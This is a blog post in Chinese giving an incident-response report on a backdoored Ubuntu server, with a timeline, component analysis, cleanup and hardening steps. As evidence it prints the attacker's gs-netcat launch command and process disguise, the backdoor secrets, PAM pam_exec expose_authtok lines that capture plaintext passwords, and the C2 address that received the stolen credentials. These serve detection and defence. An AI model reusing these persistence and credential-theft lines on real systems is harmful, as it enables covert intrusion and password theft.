病毒分析6
u20 服务器入侵事件 · 完整分析报告
- 主机:u20(192.168.1.12),Ubuntu 20.04.6 LTS,内核 5.4.0-216
- 发现时间:2026-10-24
- 报告时间:2026-10-24
- 结论:主机自 2025-11-27 起被植入 root 级后门,攻击者至少维持了 11 个月的访问,期间窃取全部账号明文口令、替换系统诊断工具、按需投放门罗币挖矿程序。
0. 一页摘要
| 维度 | 结论 |
|---|---|
| 是否失陷 | 是,且为 root 级完全控制 |
| 最早痕迹 | 2025-11-27 02:15 |
| 最后活动 | 2026-10-19 14:10(最后一次记录口令),2026-10-10 启用后门服务 |
| 入口 | 弱口令(123456 / q),非漏洞利用 |
| 后门数量 | 2 条独立远控通道(gs-netcat、gs-dbus)+ 1 条凭据窃取链 |
| 持久化 | systemd 伪装单元 ×2、PAM 钩子 ×4 |
| 数据泄露 | 14 个账号、98 条明文口令(含 root) |
| 反取证 | 替换 ss/lsof、chattr +i、时间戳归零 |
| 挖矿 | XMRig,按需投放、不落地,大页参数已调优 |
| 当前状态 | 已知后门已清除,监控已上线;密码仍未修改 |
1. 判定依据(为什么确定是失陷,而不是误报)
判定不依赖单一工具(ss/lsof 本身已被替换),而是四类互相独立的证据:
| 证据类型 | 内容 | 可信度 |
|---|---|---|
| 文件系统 | 多个不属于任何 deb 包、带攻击者密钥的二进制 | 高 |
| 进程 | argv0 伪装成 [kworker/88:9] 但父进程是 PID 1 |
高 |
| 内核数据 | 直接读 /proc/net/*、/proc/*/exe,绕过被替换的工具 |
高 |
| 密码学 | 用二进制内硬编码密钥成功解密 98 条记录(GCM 校验全过) | 最高 |
密码学证据是决定性的:只有密钥、算法、格式全部正确,AES-GCM 的认证标签才会通过。98/98 条解密成功,证明该二进制确实在收集并加密口令。
2. 时间线
| 时间 | 事件 | 证据 |
|---|---|---|
| 2025-11-27 02:15 | 首次植入:gs-netcat、两个 systemd 单元、PAM 钩子、grubnv、watching |
文件 mtime、目录创建时间 |
| 2026-01-23 08:57 | 加装 expose_authtok 口令窃取、写入 vm.nr_hugepages、生成 .lock |
文件 mtime、/etc/pam.d/common-auth mtime |
| 2026-02-11 | 更新 gs-netcat 二进制 | /usr/lib/sshd mtime |
| 2026-09-17 05:09 | 替换 ss / lsof 为伪造版本并 chattr +i |
文件 mtime、属性、编译工具链 |
| 2026-10-10 15:03 | 启用并启动 systemd-udev-sessions.service,后门常驻 |
systemd 状态、进程启动时间 |
| 2026-10-19 14:10 | tool.log 最后一次写入(抓到最后的明文口令) |
文件 mtime |
| 2026-10-24 10:31 | 清理后门 | 处置记录 |
| 2026-10-24 11:46 | gs-dbus 清除 | 处置记录 |
| 2026-10-24 12:54 | IOC 巡检服务上线 | 服务状态 |
时间线有两个"安装窗口"(2025-11-27、2026-01-23),说明攻击者分阶段部署:先开门,再上窃密和挖矿优化。
3. 恶意组件逐个分析
3.1 通道 A:gs-netcat(主远控)
| 项 | 值 |
|---|---|
| 路径 | /lib/sshd、/usr/lib/sshd、/usr/bin/nvme(同一文件三份) |
| SHA256 | 73925dcd7aabda2fbe487dda75ad8b57f56e45c9f44915bdcada328a3190aa01 |
| 大小 | 4,206,056 字节,静态链接 |
| 真实身份 | gs-netcat 1.4.42(Global Socket) |
| 密钥文件 | /lib/grub.log、/lib/os-releases |
| 密钥 | pzzG4yO8BqmqbGxz6qeWOz1 |
| 伪装 | exec -a '[kworker/88:9]',comm 显示 sshd |
启动命令(来自 systemd 单元):
/bin/bash -c "GS_ARGS='-k /lib/grub.log -ilq' exec -a '[kworker/88:9]' '/lib/sshd'"
逻辑:
- 从
/lib/grub.log读 23 字节密钥; - 通过 Global Socket 中继网络与攻击者建立加密连接(主动外连,不需要本机开放端口);
- 攻击者获得 root shell,可执行任意命令、上传下载文件;
- 挖矿程序就是通过这条 shell 按需投放的。
为什么难发现:进程名是内核线程格式,ps 里一眼扫过去像 [kworker/...];连接是外连到中继,入站防火墙看不到。
3.2 通道 B:gs-dbus(备用远控)
| 项 | 值 |
|---|---|
| 路径 | /usr/bin/gs-dbus(已删除) |
| SHA256 | cb5f62bf7b591e69bd38e6bf8e40e8d307d154b2935703422d44f02e403d2e78 |
| 大小 | 1,119,532 字节(UPX 加壳),解包后 2,513,632 |
| 归属 | 不属于任何 deb 包 |
| 时间戳 | 归零到 2000-01-01 08:00 |
| 密钥文件 | /usr/lib/systemd/system/gs-dbus.dat(23 字节,伪装成 systemd 单元) |
| 密钥 | 56mDaeRiEBkKAfc26onqhU |
| 版本 | gsocket 套件(gs-netcat.c、gsocket-engine.c、OpenSSL 1.1.1k) |
逻辑:
- UPX 加壳规避字符串扫描;
.dat后缀让 systemd 不会加载,纯粹把密钥藏在"看起来像系统单元"的文件里;- 由攻击者通过通道 A 手动启动,与通道 A 互为备份;
- 本机无任何持久化引用(无 crontab、无 unit、无 rc),属于"休眠后门"。
与通道 A 的区别:密钥完全不同。说明攻击者为每条通道单独配置,不是简单复制。
3.3 持久化:systemd 伪装单元
| 文件 | 状态 | 说明 |
|---|---|---|
/etc/systemd/system/systemd-udev-sessions.service |
曾 enabled + running | 伪装成 udev/D-Bus 服务,Description=D-Bus System Connection Bus |
/lib/systemd/system/systemd-udev-sessions.service |
残留副本 | 与上者同名但 Restart=always、RestartSec=300 |
/lib/systemd/system/NetworkManager-w-online.service |
disabled | 伪装成 NetworkManager(真名是 NetworkManager-wait-online),Restart=always、RestartSec=1200 |
逻辑:
- 用系统服务名做掩护,
systemctl list-units里混在正常服务中; Restart=always保证被杀后自动复活(20 分钟 / 5 分钟周期);WorkingDirectory=/root暴露了攻击者的操作习惯。
注意:NetworkManager-w-online 比真名少一个 ait,是典型的拼写混淆。
3.4 PAM 后门:口令窃取链
注入位置(4 处):
| 文件:行 | 内容 | 作用 |
|---|---|---|
common-auth:27 |
auth optional pam_exec.so quiet expose_authtok /boot/grub/grubnv |
拦截所有认证,把明文口令交给 grubnv |
common-auth:28 |
session optional pam_exec.so quiet /usr/bin/fd-monitor |
会话钩子 |
common-session:32 |
session optional pam_exec.so quiet /usr/bin/watching |
会话钩子/自愈 |
sshd:56 |
session optional pam_exec.so quiet /usr/bin/watching |
SSH 会话钩子 |
expose_authtok 是关键:它让 PAM 把用户输入的密码通过 stdin 传给外部程序。即使是 su、sudo 也会触发。
3.5 grubnv:口令窃取器(核心)
| 项 | 值 |
|---|---|
| 路径 | /boot/grub/grubnv(伪装成 grub EFI 模块) |
| SHA256 | 876e2341d00455e638758dd15bada3130950b8dba105ca99dd3446760c8d85bb |
| 大小 | 3,143,298 字节,Go 静态编译,未 strip |
| 源码路径 | /root/final/build/root5.go |
| 符号 | main.PASSWORD、main.readLines、main.isDuplicate、main.encryptAES、main.decryptAES |
逆向结论(由反汇编 + 解密验证):
读 stdin(PAM 传入的明文口令)
↓
拼接 "用户名 口令\0来源IP"
↓
isDuplicate(与本地已记录去重)
↓
AES-256-GCM 加密
key = "12345678901234567890123456789012"(32 字节,硬编码)
nonce = 12 字节随机
tag = 16 字节
↓
hex(nonce ‖ ciphertext ‖ tag),一行一条
↓
写 /lib/linux-tools/5.15.0-160-generic/tool.log
↓
HTTP multipart POST → 46.8.78.15:8085
关键点:
- 密钥硬编码在二进制里,不依赖外部文件(这一点与最初猜测不同,已修正);
- 落盘路径伪装成内核工具目录
/lib/linux-tools/5.15.0-160-generic/; - 该目录
2025-11-27创建,tool.log最后写入2026-10-19; - 文件权限
644,任何本地用户都能读(虽然需要密钥才能解开)。
3.6 watching / fd-monitor:会话钩子
| 文件 | 大小 | 特征 |
|---|---|---|
/usr/bin/watching |
1,013,736 | glibc 静态,符号含 key_with_file、rmarg(抹除命令行)、xsh(执行) |
/usr/bin/fd-monitor |
936,528 | glibc 静态,引用 /var/profile、/bin/sh、/IGNORE |
逻辑推断:
watching具备"读密钥文件 → 抹掉自己的 argv → 执行"的能力,典型作用是启动器/看门狗:被 PAM 调用后拉起后门,并把自身命令行擦干净;fd-monitor引用/var/profile,可能是另一个落地点或状态文件。
这两个是"自愈"链条的一环:即使主后门被杀,登录时仍可能被重新拉起。
3.7 反取证:伪造 ss / lsof
| 项 | 值 |
|---|---|
| 路径 | /bin/ss(→ /usr/bin/ss)、/usr/bin/lsof |
| 大小 | 9,005,792 / 9,001,832(官方版 168,800 / 175,744) |
| SHA256 | ceb8971f... / c7987d90... |
| 编译 | Alpine musl + GCC 12.2.1(Ubuntu 用的是 GCC 9.4 + glibc) |
| 属性 | 被 chattr +i 锁定(root 也改不动) |
| 内嵌数据 | 57 个 IP(ss)、36 个(lsof) |
行为验证(决定性):
| 检查 | netstat(正常) | ss(伪造) |
|---|---|---|
| 443 监听 | 2 | 0 |
| 443 已建立连接 | 2 | 0 |
伪造的 ss 会隐藏所有 443 流量,而 443 正是 gs-netcat/gs-dbus 最常用的端口。内嵌的 IP 清单与 grubnv 的回传地址 46.8.78.15 重合,进一步证明是同一套基础设施。
为什么加 chattr +i:让管理员即使发现也无法直接覆盖,dpkg 会报 unable to make backup link。
3.8 其他遗留物
| 文件 | 判断 |
|---|---|
/usr/bin/.lock(8B,内容 1704429) |
可疑,已取证并删除:时间 2026-01-23,与口令窃取同日;内容像 PID,可能是互斥锁/守卫标记 |
/usr/bin/uptimew |
与 /usr/bin/uptime 哈希相同的副本,被 +i 锁定;内容无害,但说明 /usr/bin 被动过 |
/usr/bin/tclsh8.5 |
与官方 lsof 哈希相同,是"原版 lsof 的备份副本" |
/etc/groff/boot.local |
0 字节,groff/man 副产物 |
3.9 挖矿部分
现象:周期出现 XMRig。
实际机制:
- 没有发现常驻矿马二进制——
/tmp、/dev/shm、/var/tmp均无; /etc/sysctl.conf被写入vm.nr_hugepages(运行时实际 3511 页 ≈ 7GB),这是 RandomX 的标准调优;- 因此判断:矿机由攻击者通过 gs-netcat 的 root shell 临时投放,跑完即删(文件不落地,
exe显示(deleted)); - "周期性"来自
NetworkManager-w-online.service的RestartSec=1200(20 分钟)以及攻击者手工重连。
4. 组件关系图
┌──────────────────────────────┐
│ 攻击者(公网,无固定 IP) │
└──────────────┬───────────────┘
│ Global Socket 中继
┌─────────────────────┴─────────────────────┐
▼ ▼
┌──────────────────────────┐ ┌──────────────────────────┐
│ 通道 A:gs-netcat │ │ 通道 B:gs-dbus │
│ /lib/sshd (4.2MB) │ │ /usr/bin/gs-dbus (UPX) │
│ secret pzzG4yO8… │ │ secret 56mDaeRi… │
│ 伪装 [kworker/88:9] │ │ 伪装成 dbus 工具 │
│ 状态:已清除 │ │ 状态:已清除(原为休眠) │
└────────────┬─────────────┘ └────────────┬─────────────┘
│ root shell │
└──────────────┬──────────────────────────┘
▼
┌──────────────────────────────────────────┐
│ 持久化 │
│ systemd-udev-sessions.service │
│ NetworkManager-w-online.service │
│ (Restart=always,5/20 分钟复活) │
└──────────────────┬───────────────────────┘
│ 登录/会话触发
▼
┌──────────────────────────────────────────┐
│ PAM 后门(common-auth / common-session) │
│ ├─ grubnv ← expose_authtok 抓明文 │
│ ├─ watching ← 会话钩子 / 自愈 │
│ └─ fd-monitor ← 会话钩子 │
└──────────────────┬───────────────────────┘
▼
tool.log(AES-256-GCM,98 条)
│ HTTP multipart
▼
46.8.78.15:8085(C2)
│
▼
┌──────────────────────────────────────────┐
│ 反取证 │
│ 伪造 ss / lsof(隐藏 443 + 57 个 C2 IP) │
│ chattr +i 锁定文件 │
│ 时间戳归零(2000-01-01) │
└──────────────────────────────────────────┘
│
▼
XMRig(按需投放,不落地)
5. 攻击链还原
① 初始访问
弱口令:普通账号 123456 / root 口令 q
(Samba 匿名共享作为辅助通道:11 个用户 home 以 public=yes 暴露)
② 权限维持
写入 PAM 钩子(每次登录都执行)
写入 systemd 伪装单元(开机自启 + 自动重启)
③ 凭据收集
expose_authtok 截获所有登录/su/sudo 的明文口令
AES-256-GCM 加密后本地留存 + HTTP 外传
④ 内网扩散
13 个账号全部具备 sudo;同一套口令在实验室内多机复用
→ 攻击者可横向登录其他主机
⑤ 资源利用
调优大页参数,通过 root shell 临时运行 XMRig
⑥ 反取证
替换 ss/lsof 隐藏 C2 流量
chattr +i 阻止覆盖
.dat 后缀、内核线程名、伪装路径
6. 影响评估
| 资产 | 影响 |
|---|---|
| root 权限 | 完全失控约 11 个月 |
| 14 个账号口令 | 明文泄露(98 次登录记录) |
| 13 个 sudo 用户 | 任一账号泄露 = 整机 root |
| 用户数据 | /home3 下所有代码、文档可被读取 |
| GitLab | gitlab-secrets.json、CI 变量、Deploy Key 可能被读取 |
| Samba | 11 个 home 匿名可读写 |
| 内网 | 同一套弱口令可能已被用于其他主机 |
| 挖矿 | 长期占用 CPU,电费与性能损失 |
特别说明:由于攻击者拿到的口令可能与其他系统相同,必须假设内网其他主机也有风险,逐一排查。
7. 验证方法(本次实际执行)
7.1 不依赖被污染的工具
ss/lsof 已被替换,因此所有网络结论都改为直接解析内核数据:
# 监听与连接(绕过 ss)
awk 'NR>1 && $4=="0A"{split($2,a,":"); print strtonum("0x"a[2])}' /proc/net/tcp
awk 'NR>1 && $4=="01"{print $2" -> "$3}' /proc/net/tcp
正是这一步发现了 ss 隐藏 443 的行为。
7.2 进程伪装识别
for p in /proc/[0-9]*; do
c=$(tr '\0' ' ' < "$p/cmdline")
case "$c" in \[*) pp=$(awk '{print $4}' "$p/stat")
[ "$pp" != "2" ] && echo "伪装: ${p#/proc/} $c";; esac
done
内核线程的父进程是 PID 2,伪装的不是——一条判据就能区分。
7.3 文件完整性
dpkg -V # 发现 ss/lsof 被替换
lsattr /usr/bin/ss # 发现 chattr +i
file /usr/bin/ss # 发现 Alpine 静态编译
7.4 二进制逆向
strings提取符号与字符串(Go 未 strip,符号表直接暴露功能);objdump -d反汇编main.encryptAES,确认 AES-GCM 与密钥长度;- 读取
.noptrdata中的 32 字节常量,得到硬编码密钥; upx -d解包 gs-dbus。
7.5 密码学验证
AESGCM(b"12345678901234567890123456789012").decrypt(nonce, ct, None)
98 条全部通过认证标签校验 → 算法与密钥无误。
7.6 家目录精准排查(不扫盘)
不遍历几十 T 数据,只做:
- 枚举 home 目录一层;
- 对每个 home
stat固定路径(.config/dbus、.gsocket等); - 在
~/.config内maxdepth 3检查可执行文件 / ELF 魔数 / user unit / autostart; - 从
/proc/*/exe反查运行中的进程。
结论:26 个 home 全部干净,用户级无后门。
8. 处置记录
已完成的清理
| 项 | 结果 |
|---|---|
| gs-netcat(3 份副本) | 已删除 |
gs-dbus + .dat |
已删除 |
systemd 伪装单元(/etc + /lib) |
已删除并 daemon-reload |
| PAM 4 处注入 | 已清除 |
grubnv / watching / fd-monitor |
已删除 |
ss / lsof |
chattr -i 后用官方包重装 |
uptimew |
已解除 +i 并删除 |
| 大页配置 | 已从 sysctl.conf 移除,运行时归零 |
凭据日志 tool.log |
已解密取证后删除 |
/usr/bin/.lock |
已取证(dot-lock.bin,SHA256 313e94b8…)并删除 |
| 防火墙 | ufw 启用,仅放行 192.168.1.0/24 |
| 审计 | auditd + 关键路径规则 |
| 监控 | ir-watchdog v4(inotify + 定点检查) |
尚未完成(重要)
| 项 | 说明 |
|---|---|
| 修改所有密码 | 最高优先级;123456 / q 仍然有效 |
| Samba 匿名共享 | 11 个 home 仍 public=yes |
| SSH 密码登录 | 仍允许 |
| sudoers | 12 个用户仍有直接 ALL=(ALL:ALL) ALL |
| GitLab 凭据轮换 | CI 变量、Deploy Key、Runner token |
| 出站管控 | gs-netcat 是外连型,入站防火墙拦不住 |
| 重装 | 建议执行 |
9. 加固方案
立刻(今天)
# 1. 改密
passwd # root
for u in yangx; do passwd "$u"; done
# 2. 关 Samba 匿名
sudo bash /home3/yangx/ir-20261024/harden.sh --samba
# 3. 关 SSH 密码登录(先确认密钥可用)
sudo bash /home3/yangx/ir-20261024/harden.sh --ssh
本周
- 收回 sudo(
--sudoers),按需usermod -aG sudo - 轮换 GitLab 全部密钥
- 出站白名单(只放行更新源与业务端口)
- 家目录权限
chmod 750
根治
重装系统。理由:
- root 级后门持续 11 个月,且攻击者主动反取证;
- 每次排查都能发现新组件(gs-netcat → gs-dbus → ss/lsof → .lock);
- 口令与密钥全部泄露;
- 无法证明没有更深的植入(内核模块、固件、容器镜像)。
10. 复核清单
# 后门文件
for f in /lib/sshd /usr/bin/nvme /boot/grub/grubnv /usr/bin/watching \
/usr/bin/fd-monitor /usr/bin/gs-dbus /usr/lib/systemd/system/gs-dbus.dat \
/lib/grub.log /lib/os-releases; do [ -e "$f" ] && echo "残留: $f"; done
# PAM
grep -rn pam_exec /etc/pam.d/
# 伪装进程
for p in /proc/[0-9]*; do c=$(tr '\0' ' ' < "$p/cmdline"); case "$c" in \[*) echo "${p#/proc/} $c";; esac; done
# 不可变属性
lsattr /usr/bin/ss /usr/bin/lsof /usr/bin/uptimew 2>/dev/null
# 网络安全(绕过 ss)
awk 'NR>1{print $3}' /proc/net/tcp | grep -v '0100007F'
# 巡检
sudo ir-watchdog --status
11. 附录 A:IOC 清单
文件
/lib/sshd /usr/lib/sshd /usr/bin/nvme
/lib/grub.log /lib/os-releases
/boot/grub/grubnv
/usr/bin/watching /usr/bin/fd-monitor
/usr/bin/gs-dbus /usr/lib/systemd/system/gs-dbus.dat
/lib/linux-tools/5.15.0-160-generic/tool.log
/usr/bin/.lock /usr/bin/uptimew /usr/bin/tclsh8.5
/etc/systemd/system/systemd-udev-sessions.service
/lib/systemd/system/systemd-udev-sessions.service
/lib/systemd/system/NetworkManager-w-online.service
哈希(SHA256)
| 文件 | 哈希 |
|---|---|
| gs-netcat | 73925dcd7aabda2fbe487dda75ad8b57f56e45c9f44915bdcada328a3190aa01 |
| grubnv | 876e2341d00455e638758dd15bada3130950b8dba105ca99dd3446760c8d85bb |
| watching | 9fe3bee06c46fff73c7cebfac40b40e08428f60e82c55305fe5e1774a1d30949 |
| fd-monitor | 07903ddd036eb8389c13d298dd4a5a17f46499c83d2ffcb491995ddfe5eeab5c |
| gs-dbus | cb5f62bf7b591e69bd38e6bf8e40e8d307d154b2935703422d44f02e403d2e78 |
| gs-dbus.dat | 731d3899feb8af1fc1eb6794a9cc453b30f4116cd18cf53fa8201d0abb3e3bf7 |
| 伪造 ss | ceb8971f12a73940c506f78514fcfba57e253a751d702ebaaf297dc20ca17f2b |
| 伪造 lsof | c7987d90d76f615929c244d9c803d820841178dabc06babe1ebe7b73a3195417 |
| uptimew | 9ebbe926e7b606b6d321a0f5e48d13fbaa395bd4287e82164a04dd679da8391d |
密钥 / 字符串
pzzG4yO8BqmqbGxz6qeWOz1 gs-netcat secret
56mDaeRiEBkKAfc26onqhU gs-dbus secret
12345678901234567890123456789012 grubnv AES-256 密钥
46.8.78.15:8085 grubnv 回传地址
exec -a '[kworker/88:9]' 进程伪装
pam_exec.so ... expose_authtok PAM 注入特征
网络
- C2:
46.8.78.15:8085 - 伪造 ss/lsof 内嵌 57 个 IP(见
fake_tools_iocs.txt) - 矿池/隧道端口:
3333 5555 14444 59200 9050 1080
12. 附录 B:脚本与取证文件
| 文件 | 用途 |
|---|---|
REPORT.md |
首次分析报告 |
INCIDENT-REPORT-FULL.md |
本报告 |
cleanup.sh |
首次清理(已执行) |
harden.sh |
加固(--samba / --ssh / --sudoers) |
verify.sh |
清理后复核 |
sweep_gsocket.sh |
gsocket 家族批量排查 |
check_home_config.sh |
home 定点排查 |
audit_user_config.sh |
~/.config 异常审计 |
ir-watchdog-v4.sh |
巡检服务源码 |
decrypt_tool_log.py |
凭据日志解密 |
fake_ss / fake_lsof / gs-dbus.packed |
恶意样本 |
decrypted_tool_log.txt |
解密的 98 条凭据(600,敏感) |
SHA256SUMS.txt |
取证哈希清单 |
13. 结论
这不是一次"中了挖矿病毒"的简单事件,而是一次持续 11 个月的 root 级长期控制:
- 攻击者掌握了两条独立远控通道;
- 系统性地收集了全部账号口令;
- 主动替换诊断工具、锁定文件、清理痕迹;
- 挖矿只是其资源变现的副产物。
当前主机应视为不可信。 已知组件已清除、监控已上线,但只有"重装 + 全量更换凭据"才能恢复可信状态。
本文来自博客园,作者:杨旭0324,转载请注明原文链接:https://www.cnblogs.com/allalonewithyou/p/23424192,个人邮箱:yaonie4444@foxmail.com

浙公网安备 33010602011771号